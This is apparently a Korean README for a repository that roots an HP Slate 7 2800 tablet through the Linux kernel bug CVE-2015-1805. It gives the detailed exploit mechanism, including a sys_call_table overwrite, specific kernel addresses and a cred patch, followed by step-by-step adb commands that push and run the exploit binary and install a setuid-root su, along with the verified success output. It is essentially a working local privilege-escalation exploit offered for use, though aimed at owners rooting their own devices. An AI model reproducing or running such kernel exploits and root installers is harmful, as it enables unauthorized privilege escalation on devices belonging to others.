
CVE-2015-1805를 사용하는 HP Slate 7 2800 Android 4.1.1 루팅 킷.
English | Русский
이 저장소에는 로컬 취약점 CVE-2015-1805를 악용하여 펌웨어 1.05.18 및 커널 **Linux 3.0.8+**를 실행하는 HP Slate 7 2800에서 영구적인 루트 액세스를 얻기 위한 완전한 독립형 키트가 포함되어 있습니다. 이 키트는 실제 태블릿에서 실행되었으며, 결과는 새 ADB 세션과 일반 재부팅 후에 검증되었습니다.
이것은 범용 Android 루팅 도구가 아닙니다. 이 익스플로잇은 이 특정 HP 커널 구성에 한정됩니다. 다른 모델, 펌웨어 또는 커널 버전에서 실행하지 마십시오.
| 매개변수 | 검증된 값 |
|---|---|
| 제조사 및 모델 | HP Slate 7 2800 |
| Android | 4.1.1, API 16, 빌드 JRO03H |
| 제품 / 기기 | t7h / pine |
| 프로세서 | Rockchip RK3066, ARMv7 |
| 빌드 지문 | hp/t7h/pine:4.1.1/JRO03H/v1.05.18_user:user/release-keys |
| 커널 | 3.0.8+ #13 SMP PREEMPT Tue Jul 28 15:24:30 CST 2015 |
| ABI | 32비트 ARM EABI5 |
| SELinux | 커널 구성에 없음 (CONFIG_SECURITY 비활성화됨) |
/system 파티션 | ext4, 기본적으로 읽기 전용으로 마운트됨 |
변경 없이 기기를 검사할 수 있습니다:
adb devices -l
adb shell getprop ro.product.model
adb shell getprop ro.build.fingerprint
adb shell getprop ro.build.version.sdk
adb shell cat /proc/version
또는 아래 스크립트를 사용하십시오. 지문 또는 커널 버전이 일치하지 않으면 진행을 거부합니다:
./scripts/check-target.sh
./scripts/check-target.sh ADB_SERIAL
.
├── bin/
│ ├── hp-slate7-cve-2015-1805-root # verified exploit
│ ├── hp-slate7-install-root # installs su into /system
│ └── hp-slate7-su # minimal setuid-root wrapper
├── src/
│ ├── exploit/ # CVE source and device-specific changes
│ ├── installer/install-root.c # installer source
│ └── su/rootsh.S # minimal su source
├── scripts/
│ ├── build.sh # rebuilds all three ELF files
│ ├── check-target.sh # safe compatibility check
│ └── root-device.sh # verifies, uploads, and runs the kit
├── SHA256SUMS # hashes of the verified bin/* files
├── NOTICE # attribution for the original PoC
└── LICENSE # GPL-3.0
| 파일 | 형식 | 크기 | 용도 |
|---|---|---|---|
bin/hp-slate7-cve-2015-1805-root | ELF 32비트 ARM EABI5, 정적, unstripped | 2,722,320바이트 | CVE를 악용하여 uid 0을 획득하고 설치 프로그램 실행 |
bin/hp-slate7-install-root | ELF 32비트 ARM EABI5, 정적, stripped | 22,596바이트 | /system을 임시로 rw로 재마운트하고 su를 설치한 후 ro 복원 |
bin/hp-slate7-su | ELF 32비트 ARM EABI5, 정적, stripped | 656바이트 | setresgid(0,0,0) 및 setresuid(0,0,0) 호출 후 /system/bin/sh 실행 |
검증된 바이너리의 SHA-256 체크섬:
6bf8ea09efb9f409dfc7aa5efbc3108e5c1a19fc5b07ae913328ef4639a7644f bin/hp-slate7-cve-2015-1805-root
4857c71efc846636afc5b50d7f3c971c6eb68d3760f652086f2a38c5dc50bc4a bin/hp-slate7-install-root
40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e bin/hp-slate7-su
macOS에서 검증:
shasum -a 256 -c SHA256SUMS
Linux에서 검증:
sha256sum -c SHA256SUMS
태블릿에서는 bin/의 파일을 사용하십시오: 기기에서 검증된 정확한 바이트입니다. build/ 디렉터리는 로컬 재빌드용이며 Git으로 추적되지 않습니다.
CVE-2015-1805는 구형 Linux 커널의 pipe_read() 및 pipe_write() 구현에 있는 결함입니다. 원자적 복사가 실패하면 코드가 iovec 배열 순회를 잘못 계속하여 포인터를 경계 밖으로 이동시킬 수 있습니다. 그 결과 로컬 비특권 프로세스가 메모리를 손상시키거나, 커널을 충돌시키거나, 권한을 상승시킬 수 있습니다. 이 메커니즘에 대한 자세한 설명은 oss-security에 게시되었습니다. 수정 사항은 업스트림 Linux 커밋 637b58c 및 f0d1bec 등에서 찾을 수 있습니다.
태블릿의 3.0.8+ 커널은 취약한 것으로 확인되었습니다. 커널 메모리를 수정하기 전에, 두 쓰기 대상이 모두 테스트 프로세스의 일반 메모리에 있는 무해한 프로브로 동일한 레이스를 별도로 테스트했습니다. 프로브는 CVE-2015-1805: VULNERABLE을 보고했으며 태블릿은 ADB를 통해 계속 접근 가능했습니다.
readv(), 메모리 매핑 변경, 그리고 커널의 취약한 파이프 코드에서 대형 iovec 배열 처리 사이에 레이스를 생성합니다.sys_call_table의 사용되지 않는 항목 222를 익스플로잇 프로세스에 있는 작은 ARM 트램펄린의 주소로 일시적으로 대체합니다.0xffff0008의 하이 벡터를 통해 계산됩니다. 검증된 기기에서 명령어는 0xe59ff410이며 해당 리터럴은 vector_swi = 0xc04d0d40을 가리킵니다.vector_swi와 sys_call_table은 공식 HP 오픈 소스 1.05.10 커널 아카이브 (아카이브 SHA-256: dd69f0468973714fd9ba22cdfea7e96f39f651ee51b9cb537728d9dcadbafda2)에서 rk30_t7h_dvt_defconfig defconfig로 독립적으로 산출되었습니다. 둘 사이의 오프셋은 0xc4입니다. 설치된 펌웨어에는 OABI도 seccomp도 없으므로 테이블의 최종 런타임 주소는 0xc04d0e04입니다.sp를 가져와 8,192바이트 커널 스택 크기에 맞춘 다음 오프셋 8의 thread_info.addr_limit에만 -1을 씁니다. 외부 호출, 프롤로그 또는 컴파일러 런타임 코드가 없습니다.sys_ni_syscall입니다. 검증된 커널에서 복원된 포인터는 0xc051900c입니다.addr_limit이 확장되면 파이프 복사가 현재 task_struct를 읽고 cred를 찾은 다음 현재 uid/gid 값, 정렬, 참조 횟수 및 real_cred == cred 조건을 사용하여 구조를 검증합니다. 이러한 검사 후에만 uid/gid 값이 0으로 설정되고 capability 마스크가 1로 채워집니다.uid=0을 획득하고 /data/local/tmp/install-root를 실행합니다. 설치 프로그램은 /system을 rw로 재마운트하고, 페이로드를 /system/xbin/su에 복사하고, root:root 소유권과 모드 06755를 할당하고, sync()를 호출한 다음 /system을 읽기 전용으로 다시 마운트합니다.구형 커널 헤더의 원래 current_thread_info() 함수는 -O0에서 최신 Clang과 호환되지 않았습니다. 초기 프로토타입이 sp 레지스터 대신 초기화되지 않은 워드를 읽어 커널을 충돌시킬 수 있었습니다. 이 저장소에서는 검증된 naked ARM 트램펄린으로 대체되었습니다. 초기 바이너리는 저장소에 포함되어 있지 않습니다.
bin/의 기성 파일을 사용하려면adb;Android NDK, Java, Python, fastboot, 잠금 해제된 부트로더, 커스텀 리커버리, 루팅 APK 또는 네트워크 액세스는 필요하지 않습니다. 익스플로잇과 페이로드는 정적으로 링크되어 있습니다.
shasum 또는 sha256sum.Android NDK는 여전히 필요하지 않습니다: Zig가 ARM musl 크로스 툴체인을 제공합니다.
연결을 확인합니다:
adb devices -l
상태는 device여야 하며 offline 또는 unauthorized가 아니어야 합니다.
저장소 루트로 이동하여 먼저 기기가 정확히 일치하는지 확인합니다:
./scripts/check-target.sh
여러 기기가 연결된 경우 adb -s SERIAL을 사용하여 모든 명령에 일련번호를 전달하거나 ANDROID_SERIAL 환경 변수를 설정하십시오.
세 파일을 서로가 기대하는 이름으로 업로드합니다:
adb push bin/hp-slate7-cve-2015-1805-root /data/local/tmp/cve-2015-1805-root
adb push bin/hp-slate7-install-root /data/local/tmp/install-root
adb push bin/hp-slate7-su /data/local/tmp/rootsh-armv7
권한을 설정하고 스테이징된 파일을 디스크에 플러시합니다:
adb shell 'chmod 755 /data/local/tmp/cve-2015-1805-root /data/local/tmp/install-root /data/local/tmp/rootsh-armv7; sync'
익스플로잇을 한 번만 실행합니다:
adb shell '/data/local/tmp/cve-2015-1805-root; rc=$?; echo DEVICE_RC=$rc; exit $rc'
검증된 성공 출력:
offset:c4
addr:c04d0d40
[+] Done
restored syscall 222 to 0xc051900c
exploit rc=0 uid=0 gid=0
installer uid=0 gid=0
install-su ok
DEVICE_RC=0
기기가 몇 초 동안 ADB에서 사라지면 익스플로잇을 다시 실행하지 마십시오. 기기가 돌아올 때까지 기다립니다:
adb wait-for-device
스크립트는 지문과 커널을 검증하고, SHA-256 해시를 확인하고, 파일을 업로드하고, ROOT 입력을 요청한 다음 익스플로잇을 실행하고 uid=0을 검증합니다:
./scripts/root-device.sh
여러 기기의 경우:
./scripts/root-device.sh --serial ADB_SERIAL
--yes 옵션은 대화형 확인을 비활성화하며 의도적인 자동 사용만을 위한 것입니다:
./scripts/root-device.sh --serial ADB_SERIAL --yes
익스플로잇 프로세스의 uid가 아닌 새로운 ADB 셸에서 루트를 검증합니다:
adb shell 'id; /system/xbin/su -c id; echo SU_RC=$?'
adb shell 'ls -l /system/xbin/su'
adb shell 'cat /proc/mounts' | grep ' /system '
예상 출력:
uid=2000(shell) ...
uid=0(root) gid=0(root) ...
SU_RC=0
-rwsr-sr-x root root ... su
... /system ext4 ro,...
다음으로 임시 스테이징 파일만 제거합니다. 설치된 /system/xbin/su는 제거되지 않습니다: